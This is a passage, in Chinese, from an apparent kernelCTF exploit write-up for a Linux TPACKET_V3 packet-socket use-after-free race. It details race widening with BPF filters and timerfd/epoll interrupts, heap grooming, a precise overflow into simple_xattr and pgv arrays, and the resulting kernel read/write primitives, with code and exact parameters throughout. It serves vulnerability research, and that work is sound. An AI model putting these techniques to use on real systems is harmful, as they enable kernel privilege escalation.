当数据包到达,tpacket_rcv() 被调用时,它在执行早期——在它接触 pkc->pkbdq 或任何环形缓冲区指针之前——就会调用 run_filter()。该过滤器会执行全部 700 条指令,消耗 CPU 时间。在此窗口期间,CPU 0 可以自由地运行 packet_set_ring(),释放并重新占用环形缓冲区。最后的 BPF_RET 指令还有第二个作用:它将数据包的“快照长度”精确截断为 8 字节(或 sizeof(void *))——这正是漏洞利用程序希望在溢出目标中覆盖的字节数。
机制 3:定时器中断延长(Jann Horn 的技巧)
仅靠 BPF 过滤器只能争取到微秒级的时间。漏洞利用程序需要让 CPU 1 上的 tpacket_rcv() 暂停更长时间——足够长,使得 CPU 0 上的 packet_set_ring() 不仅能释放环形缓冲区,还能完成重新占用的内存分配。这就需要用到定时器中断技术。
背景:timerfd、epoll 和等待队列。 Linux 的 timerfd_create() 系统调用创建一个文件描述符,用于传递定时器到期事件。在内核内部,会分配一个 timerfd_ctx 结构体,其中包含一个高精度定时器和一个等待队列头。当定时器触发时,内核的高精度定时器中断处理程序会调用 timerfd_tmrproc(),该函数会唤醒等待队列上的所有等待者。
epoll 子系统负责将等待者添加到等待队列。当你调用 epoll_ctl(EPOLL_CTL_ADD) 来监控一个 timerfd 时,内核会调用 ep_ptable_queue_proc(),该函数分配一个等待队列项,并通过 add_wait_queue() 将其添加到 timerfd 的等待队列中。对指向同一个 timerfd 的不同文件描述符进行多次 epoll_ctl() 调用,就会向这个等待队列中添加多个条目。因此,关键洞察在于:通过 epoll 监控一个 timerfd 的多个 dup() 副本,可以让单个 timerfd 累积一个任意大的等待队列。
当定时器触发时,中断处理程序必须在 spin_lock_irqsave 保护下遍历整个等待队列——这意味着在处理完所有条目之前,中断是被禁用的,并且 CPU 无法被抢占。这就将等待队列的长度转化为了一个可控的 CPU 停顿时间。
文件描述符表的约束。 在 kernelCTF 环境中,每个进程被限制最多打开 4,096 个文件描述符。漏洞利用程序首先通过 setrlimit() 将 rlim_cur 提升至 rlim_max(4,096)。即便如此,4,096 个等待队列条目仍不足以将 CPU 停顿所需的时间。漏洞利用程序通过创建 180 个线程来解决此问题,每个线程都拥有自己私有的文件描述符表:
设置阶段 — 在初始化期间,漏洞利用程序创建 180 个 timerfd_waitlist_thread 线程。每个线程执行以下操作:
- 1. 被固定在 CPU 1 上(与
tpacket_rcv_thread 相同的 CPU)。 - 2. 调用
unshare(CLONE_FILES) 以获得自己私有的文件描述符表——这是关键技巧,它使文件描述符限制倍增,因为每个线程现在都有了自己独立的 4,096 个槽位的表。 - 3. 关闭标准输入、标准输出和标准错误,以释放另外三个槽位。
- 4. 创建一个 epoll 文件描述符(占用一个槽位)。
- 5. 循环调用
dup(timerfd) 直到文件描述符表满——原始的 timerfd(由主线程在 unshare 之前创建)仍然可访问,每次 dup() 都会创建一个指向同一个底层 timerfd_ctx 结构体的新文件描述符。 - 6. 对每个复制的文件描述符调用
epoll_ctl(EPOLL_CTL_ADD),为每一个添加一个等待队列条目到 timerfd 的等待队列头。
每次 epoll_ctl() 调用都会通过 ep_ptable_queue_proc() → add_wait_queue() 向 timerfd 的内部等待队列添加一个 wait_queue_entry。180 个线程 × 每个线程约 4,000 个文件描述符,timerfd 的等待队列累积了大约 720,000 个条目。
触发阶段 — 漏洞利用程序从 CPU 1 上启动定时器(这一点很重要——timerfd_settime() 会将高精度定时器绑定到调用它的 CPU 上):
struct itimerspec settime_value = {};
settime_value.it_value = timespec_add(pg_vec_lock_release_time,
timer_interrupt_amplitude); // +150μs
timerfd_settime(timerfd, TFD_TIMER_ABSTIME, &settime_value, NULL);
当定时器在 CPU 1 上触发时,内核中断处理程序会执行:
timerfd_tmrproc()
→ timerfd_triggered()
→ spin_lock_irqsave(&ctx->wqh.lock, flags) // interrupts disabled!
→ wake_up_locked_poll()
→ __wake_up_common() // walks the waitqueue
→ list_for_each_entry_safe_from(...) // 720,000 entries!
→ ep_poll_callback() // called for each entry
→ spin_unlock_irqrestore(...)
__wake_up_common() 函数会遍历所有 720,000 个等待队列条目,为每一个调用 ep_poll_callback()。整个循环在 spin_lock_irqsave 保护下运行——这意味着中断被禁用,且无法抢占。如果中断触发时 tpacket_rcv() 正在 CPU 1 上执行,那么它将被完全冻结,直到中断处理程序走完整个列表。这会花费数百微秒到几毫秒的时间——这足够 CPU 0 上的 packet_set_ring() 释放环形缓冲区,并且让 pg_vec_buffer_thread 用一个新的环形缓冲区将其重新占用了。
如果竞争失败(通过检查溢出是否确实破坏了目标对象来检测),漏洞利用程序会重试整个序列。在实践中,精确的休眠定时、BPF 过滤器延迟以及巨大的定时器中断相结合,提供了很高的成功率。
5.1 阶段 1:页面溢出原语(通过 xattr 损坏)
在赢得两次竞争之后,漏洞利用程序需要将 UAF 转化为有用的东西。此阶段包含三个部分:重新占用已释放的环形缓冲区以防止内核恐慌、精心布置堆内存使得重新占用的缓冲区与受害者对象相邻,以及设计一个精确的溢出以损坏恰好正确的字段。
5.1.1 第 1 部分:重新占用已释放的 pgv 数组
关键挑战在于 free_pg_vec() 在释放 pgv 数组后,会将其中的所有缓冲区指针清零:
static void free_pg_vec(struct pgv *pg_vec, unsigned int order, unsigned int len)
{
for (i = 0; i < len; i++) {
if (pg_vec[i].buffer) {
free_pages((unsigned long)pg_vec[i].buffer, order);
pg_vec[i].buffer = NULL; // zeroed!
}
}
kfree(pg_vec);
}
如果 tpacket_rcv() 读取到一个被清零的缓冲区指针,它将解引用 NULL,导致内核恐慌。漏洞利用程序必须在 tpacket_rcv() 越过 BPF 过滤器和定时器中断并访问该数组之前,重新占用这个已释放的 pgv 数组——即在内存中用一个新的、包含有效缓冲区指针的 pgv 数组替换它。
这个任务由与 packet_set_ring() 一起在 CPU 0 上运行的 pg_vec_buffer_thread 处理。在 packet_set_ring() 释放受害者的环形缓冲区之后,同一个线程立即在不同的数据包套接字上分配一个新的 TX 环形缓冲区:
// In pg_vec_buffer_thread_fn:
// Step 1: Free victim RX ring
setsockopt(victim_fd, SOL_PACKET, PACKET_RX_RING, &free_req, sizeof(free_req));
// Step 2: Immediately reclaim with a new TX ring
alloc_pages(reclaim_socket, MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_KMALLOC_16, PAGES_ORDER2_SIZE);
漏洞利用程序全程使用的 alloc_pages() 函数是一个辅助函数,它通过在一个数据包套接字上创建 TX 环形缓冲区来分配内核页面。它调用带有指定块数和块大小的 setsockopt(PACKET_TX_RING),这会触发内核中的 packet_set_ring() → alloc_pg_vec()——同时分配一个 pgv 数组和请求数量的页面块。相应的 free_pages() 辅助函数则调用所有参数为零的 setsockopt(PACKET_TX_RING),触发释放路径。这使漏洞利用程序能够通过一个简单的用户态 API 精确控制内核页面的分配与释放:每个数据包套接字可以持有一个 TX 环形缓冲区,而创建或销毁该缓冲区就会分配或释放漏洞利用程序所需确切大小的页面。
用于重新占用的环形缓冲区与受害者具有相同数量的块(2 个块——MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_KMALLOC_16 = 2),因此 pgv 数组大小相同:kcalloc(2, sizeof(struct pgv)) = kcalloc(2, 8) = 16 bytes。由于存在两种堆内存缓解机制,大小匹配至关重要。
CONFIG_RANDOM_KMALLOC_CACHES 通过哈希调用点地址来选择 slab 缓存——两个 pgv 数组都是由 alloc_pg_vec() 内部的同一个 kcalloc() 分配的,因此它们哈希到同一个随机缓存。但这仅在它们也属于相同大小类别时才有效:如果用于重新占用的环形缓冲区使用了 4 个块(32 字节 → kmalloc-32)而不是 2 个块(16 字节 → kmalloc-16),它将会进入一个完全不同的 slab 缓存。CONFIG_SLAB_VIRTUAL 强制每个 slab 缓存获得专用的虚拟地址范围——一个释放的 kmalloc-16 槽位只能被另一个 kmalloc-16 的分配请求重新使用。相同的调用点 + 相同的大小 = 保证相同的 slab 缓存 = 新的 pgv 数组精确地落在旧数组所占用的内存位置上。
下图展示了 pgv 数组在三个阶段的状态——释放前、释放后(已清零,危险状态)以及重新占用后(新块,更小尺寸)。陈旧的 pkc->pkbdq 指针在整个过程中始终指向同一块内存地址:

在重新占用之前,陈旧的指针会找到被清零的 NULL 值,导致内核崩溃。重新占用之后,它找到的是有效的指针——但指向的是更小的 16 KB 块,而非原来的 32 KB 块。正是这种大小不匹配导致了溢出:陈旧的 kblk_size = 32768 让 tpacket_rcv() 误以为每个块仍是 32 KB,而实际的块只有 16 KB,因此对超过 16 KB 部分的写入就会溢出到相邻的内存中。
5.1.2 第 2 部分:针对页面布局的堆内存布局(heap grooming)
漏洞利用程序需要通过堆内存布局(heap grooming) 达成两个目标:
- 1. 强制
tpacket_rcv() 越过块 0,前进到块 1。 块 0 的陈旧的 nxt_offset 指向已被释放的旧 32KB 页面——在那里写入是无法控制的。块 1 则通过 prb_open_block() 获得了一个全新的 nxt_offset,指向实际被重新占用的页面。 - 2. 确保重新占用的环形缓冲区的块 1 在物理上与一个
simple_xattr 相邻。 从块 1 溢出的数据必须准确地流入受害者对象,而不是随机的内存区域。
为了强制进入块 1 的路径,漏洞利用程序需要让 __packet_lookup_frame_in_block() 中的条件 curr > end 成立。这意味着陈旧的 nxt_offset(来自旧的块 0)的地址必须高于new_block_0 + 32768。为了确保相邻,重新占用的环形缓冲区的各个块必须落在密集填充了 simple_xattr 对象的区域中。漏洞利用程序通过一个精心分阶段执行的分配序列实现了这两个目标:
阶段 1:排空页面分配器
──────────────────────────────────
步骤 1:分配 1024 个 × 16KB 页面(耗尽 order-2 空闲链表)
步骤 2:分配 1024 个 × 32KB 页面(耗尽 order-3 空闲链表) ← “排空批次 1”
步骤 3:分配 512 个 × 32KB 页面(进一步耗尽 order-3) ← “排空批次 2”
排空操作后,order-2 和 order-3 的空闲链表均为空。
此后任何对这些大小的新分配请求,都必须通过拆分更高阶的页面来满足。
阶段 2:分配受害者环形缓冲区
────────────────────────────────────────
步骤 4:配置受害者套接字 → RX 环形缓冲区分配 2 个 × 32KB 块(order-3)
由于 order-3 空闲链表为空,这些块来自对 order-4 或更高阶页面的拆分
→ 它们将落在高虚拟地址区域。
阶段 3:构建 simple_xattr 喷射区域
─────────────────────────────────────────────
步骤 5:释放排空批次 1(1024 个 × 32KB order-3 页面)
这些页面返回到 order-3 空闲链表,位于较低地址
(因为它们是在排空操作将分配推向更高阶页面之前分配的,所以地址更低)。
步骤 6:喷射 2048 个 simple_xattr 对象(每个带有 8KB 值 → order-2 页面)
此时 order-2 空闲链表仍然为空(步骤 1 中已排空,且未被释放)。
因此伙伴分配器会拆分步骤 5 中刚刚释放的 order-3 页面:
每个 32KB 页面被拆分成两个 16KB 的半块。simple_xattr 的值填充了这些半块,
在低地址区域创建了一个由 order-2 页面组成的密集区域。
步骤 7:释放稀疏的空洞——从索引 512 开始,每隔 128 个释放一个 xattr
for (i = 512; i < 2048; i += 128)
removexattr(simple_xattr_requests[i]);
这释放了约 12 个散布在 simple_xattr 对象中的 order-2 页面,
并将它们归还给 order-2 空闲链表。这些空洞就是为重新占用的环形缓冲区的各个块准备的着陆点。
阶段 4:触发竞争并重新占用
──────────────────────────────────────
步骤 8:赢得竞争 → packet_set_ring() 释放旧的环形缓冲区
受害者的 2 个 × 32KB 块被释放回 order-3 空闲链表。
它们位于高地址区域。pgv 数组(16 字节)被释放回 slab。
步骤 9:pg_vec_buffer_thread 立即执行重新占用:
alloc_pages(reclaim_socket, MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_KMALLOC_16, PAGES_ORDER2_SIZE)
这会分配一个包含 2 个 × 16KB 块的新环形缓冲区。分配器需要 order-2 页面。
order-2 空闲链表中有来自步骤 7 的稀疏空洞(大小完全匹配),
因此分配器会优先从这些空洞中分配——在考虑拆分受害者释放的 order-3 页面之前。
重新占用的各个块落在了 simple_xattr 对象之间的空洞中,位于低地址区域,
两侧都被 simple_xattr 对象环绕。
最终形成的内存布局如下:

为什么即使块 0 被重新占用也无法工作。 有人可能会问:受害者释放的 order-3 块不能被伙伴系统拆分成两个 order-2 的半块,然后让其中一个半块与 simple_xattr 相邻吗?答案是否定的——因为这些块位于高地址区域,远离 simple_xattr 的喷射区域。即使伙伴分配器真的拆分了它们,两个半块也会彼此相邻(因为它们是伙伴对),而不会与任何 simple_xattr 相邻。漏洞利用程序无法控制受害者旧页面物理上的邻居是什么。
相比之下,重新占用的各个块则会落在精心准备的、位于 simple_xattr 喷射区域中的空洞里,在那里相邻关系是有保障的。但是,块 0 的陈旧的 nxt_offset 仍然指向受害者原来的高地址区域,而不是这些空洞。因此,漏洞利用程序必须强制推进到块 1。
陈旧的元数据。 受害者套接字中的 TPACKET_V3 元数据在释放期间并未更新——它仍然包含来自原始 32 KB 环形缓冲区的陈旧值:
pkc->pkbdq → old pgv array address (now reclaimed with new pgv)
pkc->kblk_size → 32768 (32 KB — the OLD block size)
pkc->knum_blocks → 2
pkc->blk_sizeof_priv → 16248
pkc->kactive_blk_num → 0
pkc->nxt_offset → old_block_0 + 16296 (HIGH address — stale)
当 tpacket_rcv() 通过 __packet_lookup_frame_in_block() 访问环形缓冲区时:
pkc = &po->rx_ring.prb_bdqc;
pbd = pkc->pkbdq[pkc->kactive_blk_num].buffer; // reads reclaimed pgv[0].buffer
// = new 16KB block (LOW address, in xattr region)
curr = pkc->nxt_offset; // old_block_0 + 16296 (HIGH address — stale)
end = (char *)pbd + pkc->kblk_size; // new_block_0 + 32768 (still LOW)
if (curr + ALIGN(len, 8) < end) {
// packet fits in current block — write here
} else {
prb_retire_current_block(pkc, po, 0); // retire new_block_0
curr = prb_dispatch_next_block(pkc, po); // advance to new_block_1
// ... write to new_block_1
}
由于 curr(高地址)> end(低地址 + 32KB),条件“放不下”的分支总是会被执行,从而 tpacket_rcv() 会前进到块 1——而块 1 位于经过整理(grooming) 的区域中,与一个 simple_xattr 相邻。
5.1.3 第 3 部分:精确溢出
当 tpacket_rcv() 进入“放不下”的分支时,它会调用 prb_retire_current_block(),然后调用 prb_dispatch_next_block(),后者前进到块 1 并调用 prb_open_block():
static void prb_open_block(struct tpacket_kbdq_core *pkc,
struct tpacket_block_desc *pbd)
{
pkc->pkblk_start = (char *)pbd; // start of reclaimed block 1 (16 KB)
pkc->nxt_offset = pkc->pkblk_start + BLK_PLUS_PRIV(pkc->blk_sizeof_priv);
pkc->pkblk_end = pkc->pkblk_start + pkc->kblk_size; // + 32KB (stale!)
}
关键计算在于:BLK_PLUS_PRIV(blk_sizeof_priv) = BLK_HDR_LEN + ALIGN(blk_sizeof_priv, 8),其中 BLK_HDR_LEN = ALIGN(sizeof(struct tpacket_block_desc), 8) = 48。当 blk_sizeof_priv = 16248 时:
nxt_offset = reclaimed_block_1 + 48 + 16248 = reclaimed_block_1 + 16296
实际的块大小为 16,384 字节(16 KB = 4 页)。因此,nxt_offset 被定位在实际块末尾前 88 字节的位置。但是,pkblk_end 是使用陈旧的 kblk_size = 32768 计算得出的,这使其位置比实际末尾还要靠后 16 KB——所以 tpacket_rcv() 误以为还有大量空间。
回到 tpacket_rcv(),该函数返回 h.raw = nxt_offset,并继续在从 h.raw 开始的几个偏移位置进行写入:
非受控写入(内核生成的头信息):
- • 位于
h.raw + 0:tpacket3_hdr 结构体(44 字节,包含状态、时间戳、长度信息) - • 位于
h.raw + 48:sockaddr_ll 结构体(约 20 字节的链路层地址信息)
这些写入占据了从 h.raw 开始的偏移量 0 到大约 67,完全位于剩余的 88 字节之内。它们被限制在块内部。
受控写入(攻击者的数据包数据):
skb_copy_bits(skb, 0, h.raw + macoff, snaplen);
其中 macoff 的计算方式为:
macoff = netoff - maclen;
netoff = TPACKET_ALIGN(po->tp_hdrlen + max(maclen, 16)) + po->tp_reserve;
漏洞利用程序通过控制此计算中的两个参数,将写入精确定位到特定的字节偏移:
- •
tp_sizeof_priv(通过 setsockopt(PACKET_RX_RING) 设置)——控制 nxt_offset 在块内的起始位置。这是一个粗略的控制旋钮:内核会将其向上取整到 8 字节的倍数,因此它只能以 8 字节为增量来定位 nxt_offset。 - •
tp_reserve(通过 setsockopt(PACKET_RESERVE) 设置)——在 TPACKET 头部和数据包数据之间添加填充字节。这是一个精细的控制旋钮:它被直接添加而不进行任何舍入,从而提供了字节级的精度。
它们共同作用,就像一个游标卡尺。漏洞利用程序使用了 tp_sizeof_priv = 16248 和 tp_reserve = 38,但实际上任何满足 ALIGN(tp_sizeof_priv, 8) + tp_reserve = 16286 的组合(例如 16280 + 6)都可以工作。
块内的写入位置由 nxt_offset + macoff 决定:
- •
nxt_offset = 48 + ALIGN(tp_sizeof_priv, 8) = 48 + 16248 = 16296 - •
macoff = netoff - maclen,其中 netoff = TPACKET_ALIGN(tp_hdrlen + 16) + tp_reserve = TPACKET_ALIGN(68 + 16) + 38 = 96 + 38 = 134,且 maclen = 14 (以太网头部长度),因此 macoff = 120 - • 写入位置 =
16296 + 120 = 16416 = 16384 + 32
块的实际大小只有 16,384 字节,因此写入操作正好落在块边界之后 32 字节处的相邻页面中。BPF 过滤器将数据包快照长度截断为 sizeof(size_t) = 8 字节,因此漏洞利用程序在那个偏移位置恰好写入8 个字节。
下图展示了从数据包套接字到底层每个块内存布局的完整结构,包括两个定位旋钮(blk_sizeof_priv 和 tp_reserve)的位置:

溢出偏移处有什么?
漏洞利用程序在重新占用的块周围喷射了 2,048 个 simple_xattr 内核对象。每个 xattr 分配时带有 value_size = 8192,使得总分配大小(头部 + 8,192 字节)由 order-2 页面(16 KB)提供服务。
溢出数据正好落在相邻 simple_xattr 的 size 字段上。这并非巧合——tp_sizeof_priv(16,248)将 nxt_offset 定位在 16,296,而 tp_reserve(38)的选择使得 nxt_offset + macoff = 16,416 = 16,384 + 32,正好落在 simple_xattr 结构体内 size 字段的偏移位置。
数据包的内容被精心构造,前 8 个字节为 XATTR_SIZE_MAX(65,536):
u8 packet_data[128] = {};
*(size_t *)(packet_data) = XATTR_SIZE_MAX; // 65536
溢出之后,这 2,048 个 simple_xattr 对象中有一个的 size 字段从 8,192 被修改为 65,536。
5.1.4 为相邻关系创建空洞
simple_xattr 的喷射布局旨在最大化其中一个 xattr 恰好位于重新占用的块 1 之后的可能性:
步骤 5:释放 drain_pages_order3_1 —— 将 1024 个 × 32KB 页面归还给空闲链表
步骤 6:喷射 2,048 个 simple_xattr 对象 —— 每个需要 16KB(order-2)页面
由于 order-2 空闲链表在步骤 1 中已被排空,伙伴分配器会拆分刚刚释放的 order-3 页面:每个 32 KB 页面被拆分成两个 16 KB 的半块。喷射操作消耗了这些半块,填充了之前由 drain_pages_order3_1 占用的地址范围。
在触发竞争之前,漏洞利用程序会按固定间隔释放一些 xattr,以创建空洞:
for (int i = 512; i < 2048; i += 128) {
removexattr(filepath, name_i); // creates a 16KB hole every 128 objects
}
重新占用的环形缓冲区的块 1(16 KB)会落在这其中一个空洞里。由于空洞是周期性出现的,且周围的槽位都被 simple_xattr 对象占据,因此块 1 之后的页面极有可能包含一个 simple_xattr。
5.1.5 检测损坏
漏洞利用程序扫描所有喷射的 xattr,以找到被损坏的那个:
for (int i = 0; i < 2048; i++) {
ssize_t ret = getxattr(filepath, name_i, value, 8192);
if (ret < 0 && errno == ERANGE) {
// Found it! size was changed from 8192 to 65536
overflowed_xattr = i;
}
}
通常情况下,使用 8,192 字节的缓冲区调用 getxattr() 会成功,因为 xattr->size == 8192。但对于被损坏的 xattr,xattr->size == 65536 > 8192,因此内核返回 ERANGE(“缓冲区太小”)错误。这就是成功的信号。
5.1.6 构建堆读取原语
至此,漏洞利用程序拥有了一个堆读取原语:在被损坏的 xattr 上使用 65,536 字节的缓冲区调用 getxattr(),会从该 xattr 的 value 字段起始处读取 65,536 字节数据。由于该 xattr 的实际数据只有 8,192 字节,但内核认为其大小是 65,536 字节,因此它会复制 65,536 字节——从而泄露约 57 KB 的相邻内核堆内存。
漏洞利用程序利用此泄露的数据寻找另一个 simple_xattr,通过模式匹配以下特征来识别它:rb_node 指针(必须是有效内核地址或 NULL)、名称指针(必须是内核地址)、size 字段(必须等于 8,192)以及值内容(必须匹配已知的喷射模式,如 "pages_order2_groom_42")。这第二个 xattr 被称为 leaked_content_simple_xattr。
接下来,漏洞利用程序移除所有其他 xattr——它遍历所有 2,048 个喷射的条目,对除了被损坏的 xattr 和泄露的那个之外的所有条目调用 removexattr()。这将索引节点中的红黑树从大约 2,048 个节点减少到恰好两个。在一个仅有两个节点的树中,一个是根节点,另一个是其子节点——因此,被泄露的 xattr 的 rb_node 指针(父节点、左子节点、右子节点)必然指向那个被损坏的 xattr,因为除此之外没有其他节点可指。当有 2,048 个节点时,被泄露的 xattr 的树邻居可能是其他任意一个喷射的 xattr,要从中可靠地找到被损坏的那个非常困难。清理步骤消除了这种不确定性。
现在,漏洞利用程序在被损坏的 xattr 上第二次调用 getxattr(),并传入一个 65,536 字节的缓冲区。这与第一次读取的工作方式相同:内核从被损坏的 xattr 的 value[] 字段起始处复制 65,536 字节,数据会越过其实际的 8,192 字节数据区域,溢出到相邻的堆内存中。被泄露的 xattr(leaked_content_simple_xattr)就位于附近的一个 order-2 页面上(第一次读取已确定它所在的页内偏移),因此它的 rb_node 指针会出现在这 65KB 转储数据中的已知位置。
与第一次读取的关键区别在于:此时红黑树已被修剪到只剩两个节点。内核在移除其他大约 2,046 个 xattr 的过程中重组了红黑树,并相应地更新了剩余节点的指针。在最终的两个节点树中,被泄露的 xattr 的 rb_node.__rb_parent_color 要么指向其父节点(如果被损坏的 xattr 是根节点),要么它的 rb_left/rb_right 指向被损坏的 xattr(如果被泄露的 xattr 是根节点)。无论哪种情况,三个 rb_node 指针中必然有一个包含了被损坏的 xattr 的内核地址:
u64 parent = (u64)(__rb_parent(leaked_simple_xattr->rb_node.__rb_parent_color));
u64 left = (u64)(leaked_simple_xattr->rb_node.rb_left);
u64 right = (u64)(leaked_simple_xattr->rb_node.rb_right);
overflowed_simple_xattr_kernel_address = parent ? parent : (left ? left : right);
根据被损坏的 xattr 的地址,以及泄露数据中两个 xattr 之间的已知偏移量(每个 xattr 占用一个 order-2 页面,因此偏移量为 page_index × 16384),漏洞利用程序可以计算出 leaked_content_simple_xattr 自身的内核地址。这两个地址是阶段 2 的基础。
5.2 阶段 2:通过 pgv 重叠实现堆内存读写
阶段 1 为我们提供了两样东西:一个堆读取原语(通过 size 被改为 65536 的被损坏 xattr)以及两个 simple_xattr 对象的内核地址。但是,堆读取只能通过 getxattr() 工作——这是一个单向的、只读的通道。为了构建完整的读写原语,漏洞利用程序第二次触发了竞争,这次通过溢出到一个 pgv 数组中,从而获得对内核内存中某个 simple_xattr 的直接内存映射访问。
5.2.1 目标:pgv 数组而非 xattr
核心思想是:如果溢出将一个内核地址写入到某个环形缓冲区的 pgv[N].buffer 条目中,那么对该环形缓冲区执行 mmap() 操作就会将 pgv[N].buffer 所指向的内存映射到用户空间。如果 pgv[N].buffer 恰好指向一个 simple_xattr 对象,攻击者就获得了一个指向活跃内核数据的直接用户空间指针——无需任何系统调用即可对其进行读写。
漏洞利用程序创建了 256 个数据包套接字,并为每个套接字分配一个 TX 环形缓冲区,其 pgv 数组足够大,以至于必须从 order-2 页面(16 KB)中分配。通过将块数设置为 MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER2 来选择大小:
#define MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER2 ((KMALLOC_8K_SIZE / sizeof(struct pgv)) + 1)
// = (8192 / 8) + 1 = 1025
每个环形缓冲区块由一个 struct pgv(一个 8 字节指针)跟踪,因此 1,025 个块意味着一个大小为 1025 × 8 = 8,200 字节的 pgv 数组。这会在 alloc_pg_vec() 内部通过 kcalloc(1025, sizeof(struct pgv)) 进行分配。选择 1,025 这个数字是刻意为之,比 1,024 多 1:如果正好是 1,024 个块,数组大小将是 8,192 字节,这刚好能放入 kmalloc-8k slab 桶中——而 slab 分配不参与页面级别的堆内存布局(heap grooming)。通过请求 1,025 个块(8,200 字节),分配大小超过了 kmalloc-8k 的限制,从而回退到页面分配器,由 order-2 页面(16 KB)提供服务。这一点至关重要,因为 pgv 数组必须落在 order-2 页面上,才能匹配堆内存布局(heap grooming)过程中创建的空洞大小。order-3 页面也可以,但会浪费两倍的内存。
5.2.2 堆内存布局(Heap grooming)
堆内存布局遵循与阶段 1 相同的模式,但减少了分配数量(因为内存有限):
步骤 1:排空 order-2 空闲链表 — 256 个 × 16 KB 页面
步骤 2:排空 order-3 空闲链表 — 128 个 × 32 KB 页面(drain_pages_order3_1)
步骤 3:进一步排空 order-3 — 128 个 × 32 KB 页面(drain_pages_order3_2)
步骤 4:配置受害者套接字 — RX 环形缓冲区分配 2 个 × 32 KB 块(高地址)
步骤 5:释放 drain_pages_order3_1 — 归还 128 个 × 32 KB 页面
步骤 6:喷射 256 个 pgv 数组 — 每个 8,200 字节,由 order-2 页面提供服务
(伙伴分配器将释放的 order-3 页面拆分成 order-2 的半块)
步骤 7:释放部分 pgv 数组,为重新占用创建空洞
空洞的创建是稀疏的——从索引 64 开始,每隔 16 个条目设置 6 个空洞:
for (int i = 64, free_count = 0;
i < 256 && free_count < 6;
i += 16, free_count++) {
free_pages(spray_pg_vec_packet_sockets[i]);
}
重新占用的缓冲区(来自第二次触发的竞争)将落在这其中一个空洞里,两侧都是被喷射的 pgv 数组。
5.2.3 触发第二次竞争
漏洞利用程序运行与阶段 1 相同的双重竞争序列——相同的受害者套接字配置,相同的用于第一次竞争的互斥锁屏障技术,相同的用于第二次竞争的 BPF 过滤器 + 定时器中断——但有一个区别:现在的数据包负载包含的是从阶段 1 获得的 leaked_content_simple_xattr_kernel_address,而不是 XATTR_SIZE_MAX:
u8 packet_data[128] = {};
*(u64 *)(packet_data) = simple_xattr_kernel_address;
溢出计算的算术是相同的:这 8 字节的写入落在重新占用的块边界之后偏移 24 字节的位置,也就是相邻 pgv 数组的第 4 个条目(索引 3)——因为 24 / sizeof(struct pgv) = 24 / 8 = 3。
因此,在溢出之后:
adjacent_pgv[3].buffer = leaked_content_simple_xattr_kernel_address.
5.2.4 检测溢出
漏洞利用程序遍历所有 256 个被喷射的环形缓冲区,对每个执行 mmap(),并检查块 3(偏移量为 3 × PAGE_SIZE)的数据是否看起来像一个 simple_xattr:
for (int i = 0; i < 256 && !overflow_success; i++) {
void *mem = mmap(NULL, mmap_size, PROT_READ | PROT_WRITE, MAP_SHARED,
spray_pg_vec_packet_sockets[i], 0);
struct simple_xattr *simple_xattr = mem + 3 * PAGE_SIZE;
if (is_data_look_like_simple_xattr(simple_xattr, KMALLOC_8K_SIZE)) {
overflowed_pg_vec_packet_socket = spray_pg_vec_packet_sockets[i];
overflow_success = true;
}
munmap(mem, mmap_size);
}
识别启发式方法检查:rb_node 指针是否为有效内核地址(使用 __rb_parent() 屏蔽颜色位)、name 是否为有效内核地址,以及 size == 8192。
当找到匹配时,漏洞利用程序将此套接字保存为 overflowed_pg_vec_packet_socket,并关闭所有其他被喷射的套接字以回收内存。
5.2.5 由此产生的原语
至此,漏洞利用程序可以随意访问 leaked_content_simple_xattr 内核对象:
void *mem = mmap(NULL, mmap_size, PROT_READ | PROT_WRITE, MAP_SHARED,
overflowed_pg_vec_packet_socket, 0);
struct simple_xattr *manipulated_simple_xattr = mem + 3 * PAGE_SIZE;
// Now manipulated_simple_xattr points directly to live kernel memory
这使得漏洞利用程序通过“被操控的 simple_xattr”获得了三种能力:
- 1. 泄露内核地址。
simple_xattr 中的 rb_node 指针指向同一索引节点红黑树中的其他 xattr 对象。当漏洞利用程序通过 setxattr() 创建一个新的 xattr 时,内核会将其插入树中,并更新现有节点的子节点指针。漏洞利用程序读取 rb_node.rb_right 或 rb_node.rb_left 来发现新 xattr 的内核地址。这在阶段 3 中反复用于定位新分配的页面。 - 2. 重定向名称指针(页面重新占用验证器)。 漏洞利用程序可以覆盖
manipulated_simple_xattr->name,使其指向任意内核地址。这便将 getxattr() 变成了一个用于验证页面重新占用是否成功的布尔值判断器。在阶段 3 中,漏洞利用程序会反复释放页面并尝试用环形缓冲区块重新占用它们——但它需要确认每次重新占用是否成功(因为其他内核子系统可能先一步抢占了该页面)。该技术的工作原理如下:
(1) 通过一个环形缓冲区块重新占用被释放的页面并对其执行 mmap(),
(2) 向该页面写入一个已知字符串,例如 "security.fake_simple_xattr_name",
(3) 将 manipulated_simple_xattr->name 覆盖,使其指向该页面的内核地址,
(4) 调用 getxattr(filepath, "security.fake_simple_xattr_name", ...)。内核遍历 xattr 树,找到被操控的 xattr,解引用其名称指针,并与请求的名称进行 strcmp() 比较。如果重新占用成功,该页面包含漏洞利用程序写入的字符串,strcmp() 匹配成功,getxattr() 调用成功——这证实了该页面已在漏洞利用程序的控制之下。如果其他部分抢占了该页面,strcmp() 会失败,漏洞利用程序就知道需要重试。每次检查后,原始的 name 指针会立即被恢复。 - 3. 将伪造对象链接到 xattr 集合中。 漏洞利用程序修改
rb_node.rb_right 或 rb_node.rb_left,将一个伪造的 simple_xattr 节点嫁接到红黑树中(同时设置伪造节点的 __rb_parent_color 使其指回被操控的 xattr 作为其父节点)。当后续对伪造的 xattr 调用 removexattr() 时,内核会释放伪造对象地址所在的页面——这为漏洞利用程序提供了一个目标明确的页面释放原语。这是阶段 3 中构建双重重叠环形缓冲区的关键机制。
5.3 阶段 3:通过 pgv 重叠实现任意页面读写
阶段 2 的原语让漏洞利用程序能够读写内核内存中单个 simple_xattr 的字段。这很强大,但也有局限性——它只能访问固定地址上的一个对象。为了能够读写任意内核页面,漏洞利用程序构建了一个更通用的原语:两个环形缓冲区被精心排布,使得其中一个可以覆盖另一个的 pgv 数组条目,从而将它们重定向到任何页面对齐的内核地址。
这个构建过程包含三个部分:泄露两个页面地址,构建并链接一个跨越这两个页面的伪造 xattr,然后释放这个伪造 xattr 以创建重叠。
5.3.1 第 1 部分:清理工作
